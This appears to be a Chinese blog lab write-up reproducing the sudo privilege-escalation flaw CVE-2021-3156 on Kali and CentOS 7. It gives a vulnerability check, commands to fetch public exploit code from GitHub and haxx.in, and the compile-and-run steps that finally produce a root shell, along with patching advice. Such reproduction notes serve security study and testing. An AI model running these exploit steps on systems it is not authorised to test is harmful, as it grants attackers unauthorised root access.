实验概述

  内容概述:本实验着眼于Sudo提权漏洞CVE-2021-3156,前后使用了三个不同的操作系统环境进行复现,并且尝试了sudo组用户、非sudo组用户、低权限系统用户进行实验。

  操作系统环境说明:

操作系统Sudo版本
Kali LinuxSudo 版本 1.9.1
Centos7Sudo/1.8.23
Kali LinuxSudo 版本 1.8.31p1


sudo提权

简单叙述
发布时间CVE编号类型等级影响范围远程利用
2021-01-27CVE-2021-3156权限提升高危Sudo 1.8.2-31p2,Sudo 1.9.0-5p1

  Sudo是一款允许普通用户执行root权限命令的工具, 在2021年01月26日被披露存在一个基于堆的缓冲区溢出漏洞(被命名为Baron Samedit),可导致本地权限提升。

  漏洞简单描述:由于Sudo错误地在参数中转义了反斜杠,导致堆缓冲区溢出,从而允许 本地任何用户 获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。

  测试系统是否受此漏洞影响:
以非root身份登录系统。运行命令sudoedit -s /。
漏洞存在:出现以sudoedit:开头的错误响应;
漏洞已修复:出现以usage:开头的错误响应。

  下载漏洞Exp代码:

  利用代码一:git clone https://github.com/blasty/CVE-2021-3156.git
利用代码二:wget https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
利用代码二:wget https://hub.fastgit.org/blasty/CVE-2021-3156/archive/main.zip

  补充:影响的Linux版本:Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28这里必须强调一下,本漏洞在很多系统中不适用,通过在不同Linux版本测试发现,该提权漏洞对sentos的Linux基本都无法成功复现。在ubuntu环境中,普通用户的权限如果太低,也无法复现成功,例如普通用户权限不能执行make命令时。

  补充:漏洞修复办法对于自动分配的普通用户进行限制,包括网站使用的账户也要进行限制,SSH登陆做IP白名单限制,SUDU命令升级到最新版本。



Kali环境复现(未成功)

使用sudo组用户测试
操作执行命令结果
查看sudo版本sudo -VSudo/1.9.1
查看当前用户所属用户组groups属于sudo组用户
查看当前用户的UID、GID及所归属的用户组id-

  终端输入POC命令sudoedit -s /验证,但很淦的是需要输入blade账户的密码,blade是sudo组的,此时提权root看起来没用。
  根据回显可知,系统存在sudo提权漏洞。

在这里插入图片描述

在这里插入图片描述

  尝试下载Exp代码1:

wget https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
tar -xvzf CVE-2021-3156_nss_poc_ubuntu.tar.gz
cd CVE-2021-3156/
make &&./sudo-hax-me-a-sandwich 0
报错:打开终端时发生未知错误

在这里插入图片描述
  尝试下载Exp代码2:

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich 2
报错editing files in a writable directory is not permitted

在这里插入图片描述

非sudo组用户测试
操作执行命令
使用root添加普通用户useradd -g 用户组 新用户名。
设置密码passwd sudotest
查看当前用户的UID、GID及所归属的用户组id
验证漏洞,不在sudo组不允许执行sudoeditsudoedit -s /
可以查看sudo版本sudo -V
新建sudotest用户的文件夹mkdir /home/sudotest
赋予文件夹777权限chmod 777 /home/sudotest

  创建的该用户,没有创建工作目录的权限。不在sudo组中,无法执行Poc代码,更别谈利用了,尝试使用普遍的用户,比如www-data、nobody等用户。

在这里插入图片描述
在这里插入图片描述

  系统用户提权不在本漏洞范围之内,所以继续使用普通用户尝试提权。
要求普通用户:具有make编译权限,具有执行文件的权限。

  chown命令(change owner)用于设置文件的拥有者,常见格式是chown 用户文件。
新增sudotest用户后,需要新建/root/sudotest文件,并赋予777权限。

操作命令
下载Expwget https://hub.fastgit.org/blasty/CVE-2021-3156/archive/main.zip
解压并进入文件夹unzip main.zip。cd CVE-2021-3156-main/
编译make
执行./sudo-hax-me-a-sandwich ubuntu
输入要求输入sudotest用户的密码
结果-提权失败回显:sudotest is not in the sudoers file. This incident will be reported.


使用常见的系统用户测试

  常见的低权限账号:

注册名id和用户组id用户名主目录登录shell
mysql104:110MySQL Server,/nonexistent/bin/false
nobody65534:65535nobody/nonexistent/usr/sbin/nologin,禁止登录shell
www-data33:33www-data/var/www/usr/sbin/nologin

  在debian/ubuntu上,www-data是默认运行web服务的用户/组,一般在通过apt安装web服务程序时生成。编译的不会生成www-data用户/组,需要自己设置。

  Linux 系统为了安全,很多操作和服务的运行都不是运行在 root 用户下面的,而是一个专用的 ID ,这个 ID 一般就是 nobody ,这样就可以把每个服务运行的情况隔离出来。
  首先,nobody是一个普通用户,非特权用户。 使用nobody用户名的目的是:使任何人都可以登录系统,但是其 UID 和 GID 不提供任何特权,即该uid和gid只能访问人人皆可读写的文件。

切换用户命令结果
www-dataroot权限执行su www-dataThis account is currently not available,需要改成/bin/bash
nobodyroot权限执行su nobodyThis account is currently not available,需要改成/bin/bash
mysqlroot权限执行su mysql切换失败且无回显,推测需要改成/bin/bash

  虽然无法直接切换用户,但可以通过Web服务执行命令,把执行命令的回显输出到某一文件,再查看文件内容。由于本漏洞是普通用户提权,不再对系统用户测试提权。

在这里插入图片描述



Centos7复现(未成功)

  centos默认没有sudo组,可以将你的用户指向wheel用户组, wheel组有sudo权限。

操作执行命令结果
查看sudo版本sudo -VSudo/1.8.23
使用root添加普通用户useradd -m -s /bin/bash testOK
加入sudo组usermod -a -G sudo test报错group ‘sudo’ does not exist
-usermod -a -G wheel testOK
设置密码passwd testOK

wget https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
tar -xvzf CVE-2021-3156_nss_poc_ubuntu.tar.gz
cd CVE-2021-3156/
make &&./sudo-hax-me-a-sandwich 0
执行.c程序报错hax.c:62:5: error: ‘for’ loop initial declarations are only allowed in C99 mode

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich 2
报错*** Error in `sudoedit’: malloc(): memory corruption: 0x000055dcf8bc1920 ***

在这里插入图片描述



更换kali复现(成功)

操作结果
查看Sudo版本1.8.31p1
Poc:sudoedit -s /存在漏洞
下载Exp利用代码wget https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
解压tar -xvzf CVE-2021-3156_nss_poc_ubuntu.tar.gz
-cd CVE-2021-3156/
编译执行make &&./sudo-hax-me-a-sandwich 0,利用成功
查看用户信息id,root用户

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述



参考

  《sudo本地提权漏洞(CVE-2021-3156)》,2021-01
https://www.venustech.com.cn/new_type/aqtg/20210127/22339.html

  《在Linux终端运行sudoedit -s /命令看未修复和已修复的效果》,2021-01
https://ywnz.com/linuxml/8451.html

  《CVE-2021-3156漏洞复现 》,2021-03
https://mp.weixin.qq.com/s?__biz=MzU2NDgzOTQzNw==&mid=2247486627&idx=1&sn=a6d26b416506e6c360667a80cc13bfe6&chksm=fc4599c1cb3210d78cd081b1b5f02056141e66003fa1548365f0ae39b6f3786434efff8d5362&mpshare=1&scene=23&srcid=0329qbUr8HmSUHKQOXJ5GFsT&sharer_sharetime=1617004355914&sharer_shareid=af29ecc0eb2a51e3c30e9390f31de78c#rd

  《Linux系统添加用户和用户组的方法》
https://jingyan.baidu.com/article/49ad8bce9e669d5834d8fad4.html

  《记一次曲折的Linux提权》,2018-11
https://zhuanlan.zhihu.com/p/48914785

  《www-data用户是干什么的?和WEB服务有什么关系?》
https://forum.ubuntu.org.cn/viewtopic.php?t=263778

  《Linux中nobody用户是什么?nobody用户权限多大?》
https://www.fujieace.com/linux/nobody.html

  《(cve-2021-3156)sudo提权漏洞》
http://www.china-infosec.org.cn/index.php?m=content&c=index&a=show&catid=57&id=425

  《Linux sudo堆溢出漏洞(CVE-2021-3156)》
https://www.cnblogs.com/xiaozi/p/14339507.html

  《CentOS新建用户》
https://www.cnblogs.com/Mengchangxin/p/10236673.html

  《【笔记】ubuntu 16.04 centos 7如何配置sudo权限》
https://blog.csdn.net/SweetTool/article/details/72731464

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐